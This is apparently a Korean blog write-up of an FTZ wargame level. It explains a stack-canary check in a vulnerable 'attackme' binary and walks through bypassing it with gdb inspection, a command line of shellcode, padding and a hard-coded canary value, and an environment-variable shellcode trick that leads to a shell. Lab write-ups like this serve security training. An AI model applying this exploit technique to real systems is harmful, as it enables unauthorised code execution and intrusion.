또 BOF다...
그런데 long이라는 16진수 값이 생겼고, 중반에 if를 보면 i값이 변하면 버퍼오버플로우 경고 후 종료하는 구조로 이루어져 있다.
여기서, 이 문제를 푸는데 필요한 개념은 스택가드이다.
스택가드란 간략하게 BOF를 막기위한 방법중 하나로써, 특정한 변수를 선언하고 그 변수의 값이 일치한지 확인하여
만약 일치하지 않는다면 BOF 경고를 한다.
/tmp로 attackme를 복사 후에 디버깅을 해보자
위와 같이나오고 바로 스택가드부분을 검사하는 부분을 BP를 걸어주자<main+69>
b *0x080484e5
r `python -c 'print "A"*1024'`
x/264x $esp
를 차례대로 입력하고 아래로 내려가면
\x41이 채워지고 12바이트 띄우고 스택가드가 있는것을 볼수 있다.
여기서 더미가 12바이트라는것도 알 수 있고. 추가적으로
메모리 계산을 해보면
1048중에
1024, 12, 4바이트를 빼면 8바이트가 더 남고 이 8바이트는 SFP와 스택가드사이의 더미값이다.
그럼 공격 코드를 작성해보자. 쉘코드는 25바이트 짜리 사용하겠다.
./attackme `python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"A"*999+"A"*12+"\x67\x45\x23\x01"+"A"*12+"\x40\xd4\xff\xbf"'`
가 될것이다.
(갑자기 세기멘테이지 에러뜸,, 트러블 슈팅중..)
bash환경변수로 주소값까지 구해서 했는데도 안됨
---------------------------------
추가
세그멘테이션 에러로인해 환경변수를 사용하였다... 이게 제일 확실한 듯하다.
아래와같이 쿠션"\x90"을 99개넣고 25바이트짜리 쉘코드를 code라는 이름으로 환경변수 작성하고
환경변수 주소를 가져오는 프로그램을 프로그래밍 한다.
#include<stdio.h>
int main(void)
{
printf("0x%x\n",getenv("code"));
return 0;
}
주소를 얻은뒤에 아래와 같이 공격하면 쉘코드를 획득할 수가 있다.
'Pwnable > FTZ' 카테고리의 다른 글
FTZ Level15 풀이(해결) (0) | 2016.07.16 |
---|---|
FTZ Level14 풀이 (0) | 2016.07.16 |
FTZ Level12 풀이(EggShell로 해결) (0) | 2016.07.16 |
FTZ Level11 풀이 (0) | 2016.07.15 |
FTZ Level10 풀이 (0) | 2016.07.15 |